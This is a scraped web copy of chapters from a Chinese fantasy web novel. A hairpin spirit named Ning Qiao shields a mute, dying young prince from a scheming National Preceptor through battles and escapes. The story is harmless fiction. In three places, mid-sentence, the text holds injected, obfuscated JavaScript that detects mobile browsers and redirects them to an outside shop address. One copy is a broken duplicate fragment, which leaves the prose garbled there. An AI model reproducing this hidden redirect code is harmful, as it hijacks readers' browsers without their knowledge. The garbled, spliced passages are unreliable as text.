宁乔打量了一圈周围的景色:“这是到哪里了?”凭姜敛之的脚力,应当是走不快的。不过见他好好地坐那,宁乔的心就放下来一半。 看来玉闻声没再追上来。 谢天谢地,他要是在她睡着时追上来,估计不止姜敛之要寄,她也要完蛋。 姜敛之没答,拿树枝在地上划拉起来。 宁乔:? 他是要给她画个地图吗? 过了片刻,她终于后知后觉:“你怎么不说话?” 宁乔围着姜敛之转了一圈,这才发现,他虽然又换了一身衣裳,但多了不少泥土污渍,脖子上手腕上都有擦伤,脸上隐隐有些潮红,不知道是被火熏的还是生病了。 “摔的还是被人欺负了?” 姜敛之顿了一下,摇了摇头,示意宁乔看地上的字。 ——“云霞镇外。” 是回答她上一个问题的。 宁乔不知道云霞镇在那,但估摸着是出了云京地界了。 她将手背探过去,姜敛之躲了一下,没躲过去。 “你发烧了。”宁乔皱眉,将魂力化作生机输入姜敛之身体中。 按理说,“回春术”对凡人的头痛脑热相当好用,然而几息过去,宁乔却发现姜敛之地身体更僵硬了。 虽然他努力将脸色掩饰得平静而舒适,但宁乔仍发现他眸中的痛苦之色。 这是怎么回事?没听说过“回春术”是痛的啊。 她探入魂力查看,发现姜敛之的经脉一直在破碎重生,不断地撕裂。原本已经处在断绝的边缘沉寂状态中,被这股生机激发,便又开始被一遍遍撕裂着。 生机断绝,油尽灯枯之象。 显然他面色的潮红并非简单的生病,而是回光返照,吞噬最后一抹生机的征兆。 宁乔惊住了。 姜敛之知道她知道了,眸中显露出惊人的恨意,夹杂着悔恨与决绝。 宁乔看见他在地上写——国师给的功法。 ——不用去益州了。 ——你叫什么名字? 5. 交锋(一) 云京玄都司。 玉闻声坐在下首的椅子上,端着茶杯“啜”了一口。 “还是这么难喝。” 上首的男子一身道袍,慈眉善目,须发皆白,笑呵呵道:“这可是苍露山山顶的好茶,先天灵气充足,对你的伤势有好处。” 玉闻声轻嗤了一声,道:“国师大人,不必假惺惺了,有什么话便说吧。” 国师齐松鹤慢悠悠饮了一口茶,道:“依你所言,那簪灵机敏善谋,十分擅长把握时机,所以这一次,我同你一起去。” 玉闻声震惊过后,狐疑道:“老东西,你是不是有什么别的阴谋?” 国师并不生气,而是道:“陛下催了几遍了,若是再不将六殿下交予他,恐怕他就要反悔了。” 玉闻声不屑:“你会将陛下放在眼里?” 国师只道:“你带些玄都司的人,三刻后,我们同禁军的人一起出发。” 玉闻声向来搞不清这个老家伙心里的盘算,反正是没什么好事就是了。 *** 姜敛之紧紧盯着宁乔,等着她的回答。 宁乔拧着眉头,心道:不应该呀。 小说里根本没提到这茬。 这时她忽然想到一个问题——小说里她没有出现,姜敛之是怎么独自从玉闻声和国师手下跑掉的? 她问姜敛之:“国师给了你什么功法?” 姜敛之垂下眼睛。 宁乔这才反应过来,他问自己的问题还没答。 “宁乔,我叫宁乔,宁静的宁,乔木的乔。哎呀,我们先治你的伤,回头有的是时间自我介绍。” “你说,国师给了你什么功法?” 姜敛之在地上写道:一门秘术,只能在生死关头使用,能爆发千百倍力量。 去年,父王为了抵抗能起死回生的无屺人,专门请来了国师齐松鹤组建了玄都司。齐松鹤上知天文,下晓地理,各种奇闻秘术无一不精。大约半年后,父王便命国师给皇子们上课。 姜敛之还记得齐松鹤对他们说:“每个人体质不同,性情有异,适合修炼不同的功法。我已经奏请过陛下,会为每位皇子殿下传授不同的功法。当然了,休习与否自凭本心,修习的效果也因人而异,只盼诸位殿下不要辜负老道与陛下的一番苦心呐。” 后来,齐松鹤便给了他这套功法。 母妃听闻后不许他修炼。 直到前日,他第一次运行这套秘术,一下便解开了迷药的不少限制。他只念了几句就停了下来,本以为…… 宁乔打断了他的回忆,追问道:“还记得开头吗?写几句开头给我,快!” 姜敛之便在地上写道:气溯太虚,象衍散光,形渊蓄宙,灵穴自张…… 宁乔看了看这几个字,联想到姜敛之所描述的功法的特点,立即想到几门相似的禁术。 她记得书架上有好几本,有些是以生命本源为柴,有些是魂魄,还有一套是短时间内打通体内所有奇穴,但一旦开启便无法停止地吞噬生机的,似乎只有一本。 宁乔钻进簪子的书架上翻找,不多时便找到了那本——《湮灭术》。 果然,开头几个字一摸一样。 书册的封面上有几个小字写着:此法相当极端,所释之潜力只关乎体能,无神异可言,因此不伤及神魂,多为古修士保神魂之用。破解之法或有两种,灌之以大量死气或生气,可使此法无效,然无法根治,或有他法,以待寻找。 原来是这样。 所以回春术会暂停湮灭术,却无法根除;不过反过来想,虽然无法根除,但一时半会儿也死不了。 簪子里的书拿不出来,宁乔索性给姜敛之复述了一遍。 “生气好说,回春术就可以。等我恢复些魂力,或者你自己也可以施展。” 姜敛之仍带有一丝怀疑,但眸子里仍然燃起了希望。 他在地上写:谢谢你,宁乔。 宁乔看到了,心里也有些温软:“不用客气。” 给姜敛之又用了一次回春术之后,宁乔想了想:“你身上的隐踪香味也一块除掉吧。我再去翻一翻书。” 从簪子里再出来之后,宁乔道:“我知道为什么玉闻声能找到你了——隐踪香里面大约有一味叫作‘柑息’的材料,能够隐去魂魄的味道,但它本身是幽蝶的食物,追着柑息,很容易就知道哪里用了隐踪香。” “‘柑息’本身气味绵长,焚后能留三个月之久,要用月川的水才能洗掉。” 宁乔说到这里,颇有些苦恼。 姜敛之问道:月川在哪? 宁乔:“月川在另一重界,又或者说,是在多个世界的交叠之处。” 她来到这个世界已经约有百年时间了,早就知道了月川的存在,也曾经试图寻找过,但都无功而返。 乍接触到月川的描述时,她甚至以为自己是从月川穿越而来的。只要能找到月川,就可以回家了。 最成功的一次是在80年前,她忽悠当时的持簪人陪她一起寻找月川,隐约找到了月川——一条虚幻而美丽的河流,却始终都进不去。 当时她以为是自己魂力不够强的缘故。 “月川在世界上任何一个地方,倒是不需要我们去千里之外——当然要真是能去到千里之外,就可以直接到益州长明关了。” 她迟疑道:“我不确定按照当时那个办法,还能不能找到月川。” 一切都是未知数。 木头“噼啪”燃烧着,秋日的黑夜里静谧而未知。 姜敛之写道:国师不会善罢甘休。 国师费了这么多心思,一年前便开始布局要除掉他,而他的命有什么价值呢?无非是为了权力。 姜敛之出生在宫廷,虽然此时尚未全然洞悉国师的心思,却天然知晓,他的命运与母妃、与云家密不可分。 母妃被赐死,他被追捕,云家又会如何呢? 他隐隐感觉到国师的影子藏在云京风云幕后的阴影中,正狰狞而狠绝地露出爪牙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125927|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜敛之将地上的字迹擦掉,一个字一个字地写:无论是什么方法,都要先试一试。 宁乔眨了眨眼睛:“好吧。” 她想到进入月川的另一个好处:“如果能顺利进入月川,我们也许不用赶路了。” 月川是另一重界,可以在世上的任何一个地方进入,自然也可以在世上的任何一个地方出来。 姜敛之问:到底该如何进入月川? 宁乔回忆到之前,斟酌道:“其实我最后也不知道到底是怎么进去的。古书上认为月川极有可能是仙界的入口,有很多人尝试了很多方法。我们那次是按照‘焚香斋戒三日、在任意河流湖泊旁边、参拜上弦月的圆月倒影’这一条做的。” 姜敛之:上弦月时为何会有圆月的倒影? 宁乔:“我们也觉得不可能,但是那天确实就出现了,只有一瞬。” 姜敛之第二次注意到宁乔口中的“我们”,他顿了一下,忍住了询问的欲望,继续写道:用镜子可以吗? 宁乔摇头:“不可以,我们用镜子试了很多次,一丁点异样都没有。” 她想到当时的情境:“其实说起来,与其说圆月是方法,不如说是一种迹象。只有当月川出现时,上弦月就会变成圆月,因为月川出现在河流上方,月光先照在月川上反过来一次,再照在本界的河流上,就会形成圆月。” 听起来很有道理,但更加虚无缥缈了。 ——这样还是不知道该怎么进去。 比较起来,似乎去到千里之外更现实一些。 气氛静默了片刻。 姜敛之写道:所以你打算焚香斋戒三日参拜吗? 宁乔:“不是我,是你。我们一边逃命一边焚香斋戒,三日后找个有水的地儿拜一拜就行了。找不到不吃亏,找得到就赚了。” 有点光棍,但很有道理。 宁乔转了转手腕,给姜敛之又用了一次回春术,然后道:“现在就走吧,逃命要积极一点。” 她看到姜敛之想写点什么,忍住了,灭掉了篝火,简单处理了痕迹。 宁乔就抓住他,问清方向,连续两次“千跃”,出现在另一个陌生的地方。 不远处有个村庄,他们刚一出现,就开始有狗狂吠。 宁乔无奈,又一次小“千跃”到了十里开外。 这次似乎到了官道上,往前走了不远,就有一个茶馆,夜里也打着灯。 “就在这里过夜吧。” 宁乔钻进了簪子里。 姜敛之在这里短暂停留了片刻,便走进了官道旁的树林中。 宁乔:“哎哎,你不睡觉啊?” 姜敛之摇头。 他心里始终有一种危机感。要快一点,再快一点到益州。 宁乔却是又有些困了。她耗费的魂力没有完全补回来,又用了回春术和千跃术,池子又一次见了底。 看姜敛之赶路之心迫切,便道:“我教你千跃术好了,你学会了就能自己跑了。” 6. 交锋(二) 千跃术终究还是没学成。 宁乔仅仅教完千跃术的口诀,还没来得及问上一句“记住了吗”,就听到后面传来一阵嘈杂人声。 紧接着,一长串火光长龙在黑夜中亮起,并迅速在后面的林子里围了上来。 乌压压的将近五百人。 姜敛之的神色骤然紧绷起来。 宁乔从簪子里出来,立马就要施展“千跃术”。这种时候,哪怕跑出去三五里地,都是多几分生机。 然而流光划过,就在半空中被拦了下来。 等他们落在地上,望向天空,发现那里早已布满了一片黑色的牢笼,在黑夜的遮挡下几近隐形,只有触碰到时才会显示出存在。 是个更为高级的“万绝阵”。 人群中间走出来一个仙风道骨、须发皆白的老道,一身深色绣金祥云纹的道袍,一把深紫木质拂尘。 虽然穿着道袍,却更似人间富贵翁。 正是国师齐松鹤。 他身后一左一右两个男子,左边是玄都左使玉闻声,右边是一个身披甲胄、三十多岁的将军。 国师抚着长须,笑呵呵对姜敛之道:“六殿下别来无恙否?” 姜敛之不答。 国师眸中闪过一抹了然。《湮灭术》一旦开启,便无法终止。即便他现在还活着,但生机会一点点被吞噬殆尽,五感渐渐丧失。 事实上,姜放能活这么久,已经很令他意外了。 看来这个簪灵亦没有《湮灭术》的解法。 好极好极。 他口中的簪灵宁乔实际上对这位国师是有些好奇的。原著中这位算是个褒贬不一的角色——心狠手辣,但能力极强:将国内的主力军云家军二十万人算计坑杀之后还能守住边境,且一守十几年;篡权夺政,国内再怎么民不聊生,政变起义层出不穷,也始终大权在握。 如果不是姜敛之复仇归来杀之,这位国师至少还能再大权在握十几年。 姜敛之手中出现一把长剑,剑尖正对国师,态度可见一斑。 然而国师丝毫不在意,仍是笑呵呵道:“六殿下莫要生气,陛下下令让我请六殿下回宫,父子连心,实在不必刀剑相向。” 姜敛之面对齐松鹤,眸中的恨意简直要漫出边际了,自然不会回应。 反而是玉闻声乐得见国师吃瘪,若是姜敛之能骂上几句,估计他能更高兴。 那位将军看着眼前七八岁的男孩孤身一人拿着剑站在林中,一身粗布衣裳,露出来的皮肤上亦多有擦伤,眸中情绪复杂。 他对姜敛之抱了抱拳,劝说道:“六殿下,确实是陛下亲口下的命令,请您跟末将回宫,莫要让末将为难。” 姜敛之睫毛颤了颤,仍是摇了摇头。 他之前不是没有犹豫的,他迫切想告诉父王,齐松鹤不是什么好东西,挑唆嫁祸,惑乱朝纲,使得母妃蒙冤而死。 但另一个他在心中挣扎,无论是谁挑拨,终究是父王杀了母妃,杀母之仇不共戴天,他无法原谅,却也下不去手杀了父王。 他心中充满苦涩,且没法不怀疑,父王真的是因为全然信任小人才动手的吗? 他才五岁时,下了课觉得无聊,有宫人劝他读书,有宫人劝他放风筝,而他选了后者。是因为他本来便想去放风筝,便选择了听从那个宫人的提议。 只是顺应他的心意而已。 父王,恐怕亦是如此。 姜敛之眼眶泛红,却并没有改口。 国师状似可惜道:“六殿下若执意如此,老道便只能用强了,恐伤了殿下贵体啊。” 那位将军道:“还请国师手下留情,不如让末将先上。” 宁乔对这位国师的假惺惺真是叹为观止,如果不是她知道他故意赠给了姜敛之《湮灭术》,令姜敛之在危急关头只能走上死路,还真会被他这一套表演给骗过去。 他们言谈间仿佛宁乔只是道空气,现下这空气说话了:“那将军,你知不知道《湮灭术》是什么东西?” 此言一出,将军茫然,玉闻声目露了然,国师则是惊讶,心中顿生杀意。 宁乔道:“回去跟你们陛下说,国师早在一年前就给他儿子寻好了死法,问问你们那陛下知不知道此事?” 国师脸上终于没了笑意,喝斥道:“你这妖灵,勿要妖言惑众!” 说着,掌心一道风起,一道极为强劲的风刃就直冲宁乔而去。 宁乔闪身一躲,风刃追着她跑,她在间隙中继续道:“知道为什么你们六殿下一言不发吗?因为国师给的功法早就吞噬了他的生机,当然说不了话了。” 国师不意宁乔一个小小簪灵知道《湮灭术》,且在大庭广众之下直接宣扬了出来,被她见缝插针说了这许多,已是再留不得了。 国师碰了下手上的戒指,霎时间三支幽蓝短剑前后鬼魅般向宁乔和姜敛之疾射而去。 宁乔抓住姜敛之,连续几次“千跃”,都没能甩掉这几只短剑,看着头顶上的万绝阵,宁乔眼珠一转,直直地撞了上去,幽蓝短剑紧随其后,也冲向了万绝阵的结界。 然后宁乔倏然一个转向,其中一支短剑便刺中了结界。 结界并没有碎裂迹象,而另外两支短剑又追了过来。 国师在心中冷笑一声。 这三支短剑都是以深海精魄所炼,又经他多年祭养,已初具灵性,怎么会被这么粗糙的计策耍弄! 而这套万绝阵亦是他看家宝物之一,想要以彼之矛攻彼之盾,做梦! 果然,刺中结界那支短剑摇晃一下,从结界上将自己拔出来,便又冲着宁乔而去。 这国师老东西确实比玉闻声更加棘手。 宁乔一计不成,再生一计,立刻闪现到了国师身旁。 后者下意识抬手抵挡,玉闻声倒是反应过来,甩出了玉扇攻击宁乔,却正好被追赶而来的第一柄短剑打了个正着。 两件兵器碰撞到了一起,后面的短剑透过国师直冲向其身后的宁乔,此时玉闻声攻击已至。 宁乔不意这短剑还有自动护住的能力,两面夹击之下,脸颊被第三柄幽蓝短剑划伤,竟感到了火燎般的痛意。 原来这短剑带有伤及灵体的毒性。 自从上一次与玉闻声短暂交手之后,她发觉同人打斗并没有想象中那么可怕,但上一次仍是以逃遁避战为主,这一次却让她真正生出了战斗的欲望。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125928|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那股火烧火燎的伤痛仿佛在她心里点燃了一把小小的战火。 宁乔站定,随着第二、三柄短剑再次飞来,她双手快速结印——生字诀,万物逢春!地上的草木快速生长,转眼间便有等人高度,一根根枝条密集打向那两支短剑。 宁乔手印未停,被短剑轻易削去的枝条快速长出,并有冰霜一点点裹上短剑的剑身。 国师满脸阴沉地看向宁乔,不知道从哪里取出一幅画来,画中两头猛虎忽然间跃出画面,吼叫着同时向宁乔与姜敛之扑去。 宁乔大声念出一段咒语,道:“记住,这是雷字诀!”随后强行以“降灵术”分出一丝灵体到姜敛之身体里。 完全的降灵术能将他人的身躯变作自己魂魄的容器,一举一动皆为傀儡。而只是一丝灵体,却只能充当法力的媒介,让对方在短时间内感知到法力的存在。 姜敛之记忆力绝佳,他在心里默念了一边雷字诀,一道细小的天雷从天而降,只不过劈歪了。 他眼睛一亮,开始不断念咒,但没有一道咒语是劈在猛虎身上的。 宁乔对付短剑和玉闻声时分神一看——姜敛之的天雷全都劈在了国师身边,且越来越粗,越来越密! 逼得国师不断以身法左右挪移。 他自己却以剑法与猛虎纠缠,相当吃力却绝不松口降一道雷。复仇心之盛惹得那个将军都频频侧目。 短剑受国师心念控制,虽然也有自动追踪之能,但灵活性却大打折扣,宁乔抓住机会,在“万物霜天”的另一侧埋了几道“死字诀”,神不知鬼不觉地向国师攻去。 “死字诀”虽然命名为“死”,但宁乔用草木测试过,并不会直接令其死亡,而是灌注类似于一种时间法术,会让中术者走向衰败状态。 这国师阴险狡诈,斗法经验亦是不错,宁乔不指望一击得手,但双管齐下,万物霜天发动成功,便能够找到万绝阵的阵眼。 国师其实并没有发现万物霜天背后的“死字诀”,但他身上大抵也有什么保命的法器,宁乔发现他身形僵了一瞬,下一刻就恢复如常了,只有神色变得更阴沉了。 宁乔分神,玉闻声也没有客气,抓住机会击中宁乔好几下,下手又黑又狠。 其实像宁乔现在灵体状态下,受的伤并不会具现在身体上,除了能直接作用在魂体上的毒性,只会身体一点点变淡薄。 宁乔此时的身形已经比刚出来时黯淡了不少,姜敛之借用的法力也无法长时间施展,相信再打下去,胜利的天平仍会倾向国师那边。 但宁乔几次使用万物霜天,已经知道了万绝阵的阵眼所在。 姜敛之也被画中出来的猛虎抓得浑身是伤,应付得越来越吃力。 见时机差不多,宁乔撂下了最后一句话:“国师手段阴狠,不知道有没有给陛下传授过什么功法?哦对了,以国师的法力,不知道还有几个人能活着回京呢?” 在几人愣神的瞬间,宁乔一道天雷劈向了万绝阵的阵眼,流光裹挟着姜敛之逃遁之际,还不忘给半空中的国师大人打出了几道“死字诀”。 这次没有结界阻拦,后面也暂时没人追来。 ——终于又逃了出来。 7. 交锋(三) 这次宁乔透支魂力得狠了,连十里地都没跑出去,只落到了一山之隔的树林里。 山坡的这头,密密麻麻的粗壮树林隔断了国师一行人的视线,半人高的杂草遮掩了他们的身形。 宁乔和姜敛之都跌坐在了地上。 宁乔的脸颊处不再是火烧火燎的疼,而是转变成了一种刺骨的寒意,几乎要连思绪都冻结住了。 姜敛之都状况也十分不好,法力透支,经脉的撕裂卷土重来,脸色极度苍白,身上零零散散十几道伤口,最严重的当属胸腹处的抓伤,鲜血仍在不断往外流。 跟这道伤口比起来,胳膊上、大腿上、肩背上、手上的伤口都属于轻伤了。 他咳了一声,忍住了嘴里涌出来的血,一丝血迹流出嘴角,也被他飞快抹掉。 两个人都惨得无以复加。 宁乔缓了一会儿,看着两人的惨状,却忍不住笑出了声。 太惨了也想笑。 而且她初出茅庐,只凭着背过的术法便两度,不,三度从玉闻声和国师手里成功逃脱,可见她还是很有战斗天赋的嘛。 宁乔有些得意起来。 姜敛之被她笑得有些莫名,他伸手想摸一下宁乔的身体,半途缩回了手。 这几次打斗他都只有看着的份儿,且宁乔全然是为了救他才受了这么重的伤,他却什么忙都帮不上。 姜敛之愣愣看着自己的手,纵横交错的伤口,震裂的虎口,明明已经拼尽了全力,却总是什么都保护不了…… 什么都保护不了…… 他渐渐攥起拳头。 他需要更强大的力量,足够掌握自己命运的力量。 宁乔见他低着头,以为他是太疼了,榨干了最后一点魂力,给姜敛之施展了回春术。 经过这几天短暂的相处,宁乔已经知道了,姜敛之是个绝对不会喊疼的人。他太能忍耐,太能吃苦,即便下一刻就要死去,也绝不会主动求助。 说不上是好还是不好。 反正宁乔做不到。 月光穿不透树林茂密的枝叶,只有习惯了黑暗后隐隐约约的视野。 担心玉闻声和国师还会追来,两人谁都没说要燃个火把。虽然知道他们追人也不看火光,但谨慎起见,还是摸着黑在林间密谋。 当然宁乔看得一清二楚,姜敛之看她也是黑夜萤火,其余的树木草丛只留个影影绰绰的轮廓。 树林里有清亮的虫鸣和风吹的窸窣声,掌下粗糙干燥的沙砾和土地传来清晰的触感。 姜敛之没有哪一刻这么清楚地感觉到自己仍然活着。 他听着宁乔断断续续的说话声,有一种靠近火源时才有的温暖和安全感。 “他们还会追来的。” “那老东西疑心病太重了,他肯定担心我知道《湮灭术》的解法,所以一定要亲眼看到你死。” “还是要尽快找到月川才行。这样,你从明天开始就斋戒。香有没有?” 姜敛之迟迟没有回答。 宁乔这才侧头看了他一眼,她又忘记姜敛之现在没法说话了。 看他呆呆愣愣的样子,忽然有些心酸。 有她拼尽全力救他,尚且这么艰难。原著里姜敛之一个八九岁的小孩,到底吃了多少苦才逃出去呢? 宁乔忽然问姜敛之:“疼不疼?” 姜敛之下意识挺直了身体,他知道宁乔看得见,用口型道:不疼。 宁乔对这个回答毫不意外,她只道:“疼要喊出来,算了,明天进城给你买糖吃,顺便买香。” 说着便打了个呵欠。灵体受伤会更直接地体现在精神状态上,宁乔已是倦极了。 姜敛之有些犹疑,但还是点了点头。 他问道:你需要什么疗伤? 宁乔道:“不用,我睡觉就行了。唔,明天买两份糖,好久没吃了。” 姜敛之应下,还想问宁乔是不是需要别的,却见她又打了个呵欠,钻回了簪子,只有一闪一闪的蓝光证明着她的陪伴。 姜敛之将簪子放在掌心端详一会儿,随后找出一件干净的上衣铺在地上,将簪子放了上去。 缓过一会儿,身体渐渐有了些力气,姜敛之在粗葛荷包里找出一瓶外伤药,处理好伤口——经过回春术的治疗,血已经止住了,皮肉也在缓慢愈合中。 他倚靠在树干上,默背着宁乔教过的“千跃术”和“雷字诀”的口诀,也渐渐沉入了梦乡。 *** 翌日清晨,姜敛之便被林间的冷意冻醒了。 枝叶和草头上都凝着露水,小鸟在林间叽叽喳喳叫早。 姜敛之看了眼伤口,除了最深的那道,其他的都已经结痂了。他匆匆换了身干净衣裳,到河边洗了把脸,整理了下头发,辨认过方向,便去了临近的集镇。 宁乔再三提醒自己不要睡过了,醒来时也是中午了。 睡眠严重不足带来的结果就是,身体恹恹的提不起多少力气来。 但宁乔见识过国师的狡诈,若是再来一次“万绝阵”,凭她现在的魂力,根本没有再次逃脱的把握。 她最好尽快找到更好用的术法,或者其他进入月川的方法。 看清外面是个白天,宁乔没有大剌剌出去,而是传音给姜敛之:“这是在哪?” 周围是一些散乱的碎石,不远处一道几近垂直的山壁矗立着,看上去相当荒僻。 自从出了云京,经过的山林一重又一重,宁乔对这里的地形本来就不熟悉,现下更是晕头转向,只能问唯一的知情人姜敛之。 姜敛之听到宁乔醒来,顿了一下,找了根木棍在地上写道:绝壁峰。 大约是意识到了宁乔不熟悉地形,他补充道:坠星山脉的最后一道峻岭,越过之后便到了肃州地界,云家军在肃州另一侧边界有驻地。 听到云家军的名字,宁乔精神一振。 云家军有驻地好啊,说不定在那刚好能碰到云将军,然后把姜敛之交给他,她的护送任务就结束了。 索性四下无人,宁乔“嗖”一声钻了出来,道:“到肃州边界大约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125929|196071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多远?” 姜敛之回忆之前背过的地图,算了算:约有一千三百里。 宁乔听到这个数字就是一愣。 即使她再怎么透支魂力,一天能走四百里,早上两百,晚上两百,也要走上三四天,更别提之前两次对战,她损耗太多,需要修补的魂力始终没补起来,一天两百都算她拼了老命了。 而如果全力赶路,万一再碰上那个国师老家伙,便是求生无门、地狱开门。 宁乔思来想去,还是觉得月川更有性价比。 “决定了,还是要找月川。我们去买香吧!” 姜敛之从粗葛荷包里掏出了一捆长香,又默默拿出两份包成四方角样式的果糖,一份嫩黄色纸样,一份浅粉色纸样。 他指了指嫩黄色的糖:梨子味;又指浅粉色的:桃子味。 宁乔惊讶。 宁乔伸出了大拇指。 宁乔陷入了回忆。 她八九岁的时候在干嘛呢,刚上小学,玩得和小疯子一样,妈妈叫吃饭也不愿回家。 对比一下,姜敛之更让人心酸了。 宁乔道:“我们分着吃吧。”拆开纸样,宁乔一边拿了一颗,先吃了梨子味的,又吃了桃子味的。果然都尝不出味道来,但一醒来就有糖吃,还是大大抚慰了她连日来的疲惫感。 没有甜味,胜似甜味。 姜敛之也捏了两颗吃,见宁乔没有再吃的意思,便把糖果小心地收了起来,指了指地上的香。 宁乔道:“每日三柱香就行,拜的时候就在心里默念月川的名字。”其实没什么讲究,要不是那次真的见到了月川,宁乔根本就不相信焚香有用。 姜敛之取出三柱香,将剩下的收好,然后一板一眼地开始焚香祈祷。 焚香完毕,四周仍是静悄悄的,什么变化都没有。 宁乔意料之中,也不失望,而是充满期待地对姜敛之道:“磨刀不误砍柴工,我想过了,若是我们两个都会‘千跃术’,赶路肯定会快上不少,我们把昨天没学完的课业完成吧。” 姜敛之学习术法的心情更加急切,他点头,看向宁乔。 “千跃术”的口诀他已经记下了,但是似乎怎么都沟通不了法力,也不知道该怎么运行口诀。 宁乔这般那般地演示了一通,道:“使用所有术法的前提便是沟通天地之力,像灵体魂魄之类,天然就能感知到法则之力,也就是法力,人类和其他有躯壳者就隔了一层,所以关键就是,用你的灵魂去感知天地,感知其中的微妙之处、宏阔之处或者其间的任何存在与变化。 “怎么用灵魂感知呢?你可以闭上眼睛,丢掉五感,从内向外延伸……” 宁乔口干舌燥地讲完,见姜敛之已经渐渐进入了入定状态,不由得有些吃惊。 她记得古籍上说,人族感知天地之力,三日即为天才,慢者甚至需要三年。 应该只是入定吧。 宁乔心道。 但这样也很快了,宁乔开始期待起姜敛之“千跃术”的效果来。 8. 路上(一) 姜敛之大约真是修道的天才,他睁开眼睛后便尝试了一下“千跃术”,虽然只遁出去了十米远,却是从零到一,从无到有到突破。 随着他体内法力越来越多,便可以轻而易举突破遁术的范围。 而且他体内《湮灭术》带来的伤害尚未完全解决,经脉时时都经受着撕裂之苦,生气仅仅护住了心脏气海等要害之处,所能调用的法力实在寥寥无几。 宁乔本来已经做好了心理准备,让姜敛之多练几次,找找感觉,没想到他竟然在这种境况下还能够一次成功,不得不叫人惊叹至极。 宁乔围着姜敛之转了好几圈,惊喜之余不免有些小小的沮丧——当年她练“千跃术”时可是用了两天的功夫才迈出那一步的。 虽说因着状态完好一步便是数十里,可毕竟用了两天,同这三刻钟的天赋还是有差距的。 不过她生性乐观,很快便安慰好了自己:她原本的世界观可是和这里全然不同的,当时她最大的难关便是理解“千跃术”这种遁术的原理。 若是没有这关的话,她肯定也不比姜敛之来得慢。 想到这里她又渐渐明悟了一点:一个人术法修习的速度和所能达成的高度,都与这个人的经历息息相关。 千人千面,术法修习也是如此,倒也不必处处比较。 只要走在这条大路上,总有一天能达到目标。 宁乔对姜敛之鼓鼓掌,夸赞道:“你很厉害。” 脱离开原著的情节,姜敛之本质上仍是天赋出众、当之无愧的修炼天才。 姜敛之努力克制,但眼睛里仍是掩饰不住的开心。 迈出这一步,意味着他终于开始掌握更强大的力量,终于可以在交手时多出几分力了。 宁乔见他嘴唇有些发白,便知道他体内状况有些不好,连忙用了几次“回春术”,道:“今天还没赶路,我先用一次‘千跃’,到了肃州,买一匹马吧,你也需要休息。” 姜敛之想了想,跑马确实快一些,便同意了。 *** 流光划过,便到了肃州地界。 一个衣衫破烂的女童指着天上,对母亲说:“娘,看天上,流星!” 她的母亲背着背篓,一脸麻木地跟着人群赶路,饥肠辘辘、疲惫不堪,根本连头也没抬。 女童又对父亲说:“爹爹,天上。” 她的父亲同样面黄肌瘦,背上背着铺盖,一手棍子撑着佝偻的腰,一手牵着女儿,驴唇不对马嘴地安慰着,像是说了许多遍:“乖,到了云京爹爹给你买糖吃。” 女童点了点头,流光闪过,只余下眸子里的茫然。 “流星,没有了。” 另一边,宁乔施展完“千跃”之后,又感到了一阵火烧的灼痛感。 像是活生生将她放在太上老君的炼丹炉里炙烤灼烧着,她努力按耐着身体的颤抖。 灵毒比昨天更猛烈了。 昨天只发作了一小阵,今日不知道会有多久。 宁乔向来不抗痛,这会儿脸色已经有些绷不住了,她只敢对姜敛之说三个字——“小心些”,再多便担心他听出来了,说完便飞速回了簪子。 火烧之感汹涌刻骨,宁乔隔绝了簪子与外界的声音,才放心痛呼起来。 过了一会儿,终于痛感稍减,开始转向寒冷。 宁乔不想再承受一轮寒冷的痛苦,索性趁着痛感减弱的间隙,强行让自己进入了睡眠状态。 姜敛之捧着簪子担忧地看了又看。 蓝色的光芒不再闪烁,似乎只是一支再普通不过的玉簪。 他轻轻敲了簪子两下,也没有任何回应。 姜敛之实在有些担心,却根本没有帮忙的办法,刚刚学会“千跃”的兴奋一下子消失得无影无踪。 他看着簪子慢慢平静下来,将簪子珍而重之放到了胸前的暗袋里,往城镇走去。 肃州地势开阔,是一片一望无际的大平原,物产富饶,又是云京通往北部边境的必经之路,有不少商号便是从这里发家。 姜敛之从前便听说过,云京城里几家有名的大商铺,都是肃州人开的。 他原以为肃州的城镇应当相当繁荣才是,即便不比云京,也应是热热闹闹的。 然而他一走近这个名叫“同州”的城池,便看到墙根下面聚着不少乞儿。 有些在向守门的官兵乞求进城,有些则向过路人乞讨。 姜敛之在云京城灰扑扑的衣裳在这里竟算得上干净整洁的好料子了,他刚走近便有不少乞儿围了过来。 姜敛之还在犹豫要给他们多少钱合适时,却发现他们面色不善,看向他的眼神像是饿极的野狼见到了温软的绵羊一般。 他这才恍然大悟。 是了,他孤身一人,年纪尚幼,看上去还有些钱财,求他施舍自然不如自己动手。 